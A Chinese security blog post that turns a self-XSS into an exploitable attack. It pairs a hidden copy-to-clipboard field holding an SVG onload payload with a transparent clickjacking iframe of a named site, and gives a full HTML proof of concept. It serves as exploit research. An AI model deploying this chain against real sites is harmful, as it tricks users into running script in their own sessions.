前言
作者:米斯特安全攻防實驗室-Vulkey_Chen
博客:gh0st.cn
這是一個雞肋性質的研究,也許有些標題黨,請見諒~
本文啟發於一些討論,和自己腦子里冒出來的想法。
組合拳搭配
Self型XSS
已知Self型XSS漏洞是這樣的:
相信看見圖片基本上已經知道這個漏洞形成的原因了,該功能點有一個編輯預覽的,輸入XSS的payload就觸發。
局限點在於這個漏洞是Self型(Myself),也就是只能自己輸入->自己觸發漏洞。
變換思考
重新理一下這個漏洞觸發的流程:
1.輸入XSS payload:
<svg/onload=alert(1)>
2.觸發
那么是否也可以理解為這樣的一個觸發流程:
1.XSS payload就在剪貼板中
2.黏貼到文本框
3.觸發
也就是說在這里我只需要沿着這個流程向下拓展,是否可以讓我變換的觸發流程文字變成代碼形式。
順推流程
觸發流程順推為攻擊流程:
1.誘導受害者點開連接
2.誘導受害者點擊復制按鈕
3.誘導受害者黏貼剪貼板的內容
4.順利觸發XSS漏洞
這一切的攻擊流程看起來可操作性並不強,但實際上還是會有很多人中招。
搭配誰?
以上的攻擊流程都需要在同一個頁面中觸發,那么就需要一個點擊劫持的配合。
“上天總是眷顧長得帥的人”,在這里確實也存在着點擊劫持的問題:
代碼思考&構建
復制功能
按流程來構建,首先構建復制到剪貼板的功能:
JavaScript有這樣的功能,代碼如下,自行 ”食“ 用:
<script type="text/javascript"> function cpy(){ var content=document.getElementById("test");//獲取id為test的對象 content.select();//全選內容 document.execCommand("Copy");//執行復制命令到剪貼板 } </script>
HTML代碼如下:
<input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test">
界面如下:
問題:
雖然作為一個PoC來說,不需要那么苛刻的要求PoC的嚴謹性,但這里處於研究探索的目的還是需要解決問題,如果input標簽的內容顯示出來,那么就很容易暴露本身的攻擊。
針對這類問題一開始我想到的是使用hidden屬性構建為如下的HTML代碼:
<input type="hidden" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test">
經過測試發現並不能成功的使用復制功能,我的理解是因為在JavaScript代碼中有這樣一段內容:
...
content.select();//全選內容 ...
既然是全選內容那么一定要有這樣一個編輯框或者輸入框的存在,所以使用Hidden從實際意義上是沒有這樣一個”框“的。
解決問題:
在這里我選擇使用透明樣式來從”視覺上隱藏“標簽:
<style type="text/css"> #test { /*css id選擇器*/ /*控制不透明度的屬性,兼容各大瀏覽器*/ filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/ -moz-opacity: 0; /*提供給火狐瀏覽器的*/ -webkit-opacity: 0; /*提供給webkit內核的*/ -khtml-opacity: 0; /*提供給KHTML內核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之后的*/ opacity: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/ } </style>
那么界面就變成如下的樣子了:
注意:這里沒辦法使用自動復制到剪貼板,必須需要一個按鈕才行
點擊劫持
點擊劫持之前寫過一篇文章,所以就不在做講解了,參考我之前寫的一篇文章:http://gh0st.cn/archives/2017-12-20/1
構建基本CSS樣式:
.testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/ filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/ -moz-opacity: 0; /*提供給火狐瀏覽器的*/ -webkit-opacity: 0; /*提供給webkit內核的*/ -khtml-opacity: 0; /*提供給KHTML內核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之后的*/ opacity: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/ } #submit { position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; }
iframe框架&&輸入框:
<div class="testframe"> <iframe src="https://website/New"></iframe> <input type="text" id="submit"> </div>
最終PoC
<html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/ filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/ -moz-opacity: 0; /*提供給火狐瀏覽器的*/ -webkit-opacity: 0; /*提供給webkit內核的*/ -khtml-opacity: 0; /*提供給KHTML內核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之后的*/ opacity: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/ } #test { /*控制不透明度的屬性,兼容各大瀏覽器*/ filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/ -moz-opacity: 0; /*提供給火狐瀏覽器的*/ -webkit-opacity: 0; /*提供給webkit內核的*/ -khtml-opacity: 0; /*提供給KHTML內核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之后的*/ opacity: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/ } #submit { position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; } </style> </head> <body> <input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test"> <div class="testframe"> <input type="text" id="submit"> <iframe id="test0" src="https://secquan.org/New"></iframe> </div> <script type="text/javascript"> function cpy(){ var content=document.getElementById("test"); content.select(); document.execCommand("Copy"); } </script> </body> </html>
最終演示
總結
比較打開腦洞的一次研究,苛刻的攻擊條件其實在進行足夠的豐富誘導下就會變得非常的有趣。